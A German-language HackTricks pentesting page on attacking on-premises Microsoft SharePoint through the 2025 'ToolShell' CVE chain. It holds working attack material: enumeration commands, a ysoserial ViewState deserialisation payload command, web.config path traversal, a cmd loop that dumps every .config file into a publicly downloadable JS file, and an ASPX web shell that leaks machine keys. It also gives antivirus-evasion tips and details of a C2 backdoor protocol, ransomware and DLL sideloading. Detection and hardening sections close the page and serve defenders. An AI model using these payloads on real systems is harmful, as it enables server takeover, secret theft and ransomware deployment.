Microsoft SharePoint – Pentesting & Exploitation
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-Angriffsflächen (ViewState, Web.Config, Web-Shells usw.) sind daher vorhanden, aber SharePoint wird auch mit Hunderten von proprietären ASPX-Seiten und Webdiensten geliefert, die die exponierte Angriffsfläche erheblich vergrößern. Diese Seite sammelt praktische Tricks zur Enumeration, Ausnutzung und Persistenz in SharePoint-Umgebungen mit Schwerpunkt auf der 2025 veröffentlichten Exploit-Kette von Unit42 (CVE-2025-49704/49706/53770/53771).
1. Quick enumeration
# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file - # returns WCF/XSI
# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"
# interesting standard paths
/_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx
# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
2. 2025 Exploit-Kette (auch bekannt als “ToolShell”)
2.1 CVE-2025-49704 – Code-Injection auf ToolPane.aspx
/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload> ermöglicht die Einspeisung beliebigen Server-Side Include Codes in die Seite, die später von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausführt und einen bösartigen ViewState ablegt.
2.2 CVE-2025-49706 – Unzureichende Authentifizierung Umgehung
Die gleiche Seite vertraut dem X-Forms_BaseUrl Header, um den Kontext der Seite zu bestimmen. Indem man ihn auf /_layouts/15/ zeigt, kann die MFA/SSO, die an der Root-Seite durchgesetzt wird, unauthentifiziert umgangen werden.
2.3 CVE-2025-53770 – Unauthentifizierte ViewState Deserialisierung → RCE
Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen nicht signierten (oder nur MAC) __VIEWSTATE Wert posten, der die .NET Deserialisierung innerhalb von w3wp.exe auslöst, was zu einer Codeausführung führt.
Wenn die Signierung aktiviert ist, stehlen Sie den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fälschen Sie die Payload mit ysoserial.net oder ysodom:
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
Für eine ausführliche Erklärung zum Missbrauch von ASP.NET ViewState lesen Sie:
Exploiting __VIEWSTATE without knowing the secrets
2.4 CVE-2025-53771 – Pfad Traversierung / web.config Offenlegung
Das Senden eines manipulierten Source-Parameters an ToolPane.aspx (z.B. ../../../../web.config) gibt die angezielte Datei zurück, was die Offenlegung von ermöglicht:
<machineKey validationKey="…" decryptionKey="…">➜ ViewState / ASPXAUTH-Cookies fälschen- Verbindungszeichenfolgen & Geheimnisse.
3. Post-Exploitation-Rezepte, die in der Wildnis beobachtet wurden
3.1 Exfiltrieren Sie jede .config-Datei (Variation-1)
cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"
Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthält alle sensiblen Konfigurationen.
3.2 Bereitstellung einer Base64-kodierten ASPX-Web-Shell (Variation-2)
powershell.exe -EncodedCommand <base64>
Beispiel für einen decodierten Payload (verkürzt):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>
Geschrieben an:
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
Die Shell exponiert Endpunkte zum Lesen / Rotieren von Maschinen-Schlüsseln, was das Fälschen von ViewState- und ASPXAUTH-Cookies über die Farm ermöglicht.
3.3 Obfuskierte Variante (Variation-3)
Gleiche Shell, aber:
- abgelegt unter
...\15\TEMPLATE\LAYOUTS\ - Variablennamen auf einzelne Buchstaben reduziert
Thread.Sleep(<ms>)hinzugefügt für Sandbox-Umgehung & zeitbasierte AV-Umgehung.
3.4 AK47C2 Multi-Protokoll-Hintertür & X2ANYLOCK Ransomware (beobachtet 2025-2026)
Aktuelle Vorfallreaktionsuntersuchungen (Unit42 „Projekt AK47“) zeigen, wie Angreifer die ToolShell-Kette nach anfänglichem RCE nutzen, um ein Dual-Channel-C2-Implantat und Ransomware in SharePoint-Umgebungen bereitzustellen:
AK47C2 – dnsclient Variante
- Hardcodierter DNS-Server:
10.7.66.10, der mit der autoritativen Domainupdate.updatemicfosoft.comkommuniziert. - Nachrichten sind JSON-Objekte, die mit dem statischen Schlüssel
VHBD@HXOR-verschlüsselt, hex-kodiert und als Subdomain-Labels eingebettet sind.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
- Lange Abfragen werden in Teile zerlegt und mit
svorangestellt, dann serverseitig wieder zusammengesetzt. - Der Server antwortet in TXT-Datensätzen, die dasselbe XOR/Hex-Schema verwenden:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
- Version 202504 führte ein vereinfachtes Format
<COMMAND>::<SESSION_KEY>und Chunk-Markierungen1,2,aein.
AK47C2 – httpclient Variante
- Verwendet die genaue JSON- & XOR-Routine, sendet jedoch den Hex-B Blob im HTTP POST-Körper über
libcurl(CURLOPT_POSTFIELDSusw.). - Gleicher Task/Ergebnis-Workflow, der ermöglicht:
- Arbiträre Shell-Befehlsausführung.
- Dynamische Schlafintervalle und Kill-Switch-Anweisungen.
X2ANYLOCK Ransomware
- 64-Bit C++ Payload, geladen durch DLL-Seitenladung (siehe unten).
- Verwendet AES-CBC für Dateidaten + RSA-2048, um den AES-Schlüssel zu umschließen, und fügt dann die Erweiterung
.x2anylockhinzu. - Verschlüsselt rekursiv lokale Laufwerke und entdeckte SMB-Freigaben; überspringt Systempfade.
- Hinterlässt eine Klartextnotiz
How to decrypt my data.txt, die eine statische Tox ID für Verhandlungen einbettet. - Enthält einen internen Kill-Switch:
if (file_mod_time >= "2026-06-06") exit(0);
DLL-Seitenladekette
- Angreifer schreibt
dllhijacked.dll/My7zdllhijacked.dllneben ein legitimes7z.exe. - Von SharePoint gestartetes
w3wp.exestartet7z.exe, das die bösartige DLL aufgrund der Windows-Suchreihenfolge lädt und den Ransomware-Einstiegspunkt im Speicher aufruft. - Ein separater LockBit-Lader wurde beobachtet (
bbb.msi➜clink_x86.exe➜clink_dll_x86.dll), der Shell-Code entschlüsselt und DLL-Hollowing ind3dl1.dlldurchführt, um LockBit 3.0 auszuführen.
[!INFO] Die gleiche statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in geleakten LockBit-Datenbanken, was auf eine Überlappung der Partner hinweist.
4. Erkennungsideen
| Telemetrie | Warum es verdächtig ist |
|---|---|
w3wp.exe → cmd.exe | Arbeitsprozess sollte selten eine Shell starten |
cmd.exe → powershell.exe -EncodedCommand | Klassisches lolbin-Muster |
Dateiereignisse, die debug_dev.js oder spinstall0.aspx erstellen | IOCs direkt von ToolShell |
ProcessCmdLine ENTHÄLT ToolPane.aspx (ETW/Modulprotokolle) | Öffentliche PoCs rufen diese Seite auf |
Beispiel XDR / Sysmon-Regel (Pseudo-XQL):
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
5. Härtung & Minderung
- Patch – Die Sicherheitsupdates von Juli 2025 beheben alle vier CVEs.
- Rotieren Sie jeden
<machineKey>undViewState-Geheimnisse nach einem Kompromiss. - Entfernen Sie die LAYOUTS Schreibberechtigung von den Gruppen
WSS_WPG&WSS_ADMIN_WPG. - Blockieren Sie den externen Zugriff auf
/_layouts/15/ToolPane.aspxauf Proxy/WAF-Ebene. - Aktivieren Sie ViewStateUserKey, MAC aktiviert und benutzerdefinierte EventValidation.
Verwandte Tricks
- IIS Post-Exploitation & web.config Missbrauch:
IIS - Internet Information Services
Referenzen
- Unit42 – Aktive Ausnutzung von Microsoft SharePoint-Sicherheitsanfälligkeiten
- GitHub PoC – ToolShell Exploit-Kette
- Microsoft Sicherheitsberatung – CVE-2025-49704 / 49706
- Unit42 – Projekt AK47 / SharePoint-Ausnutzung & Ransomware-Aktivität
- Microsoft Sicherheitsberatung – CVE-2025-53770 / 53771
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

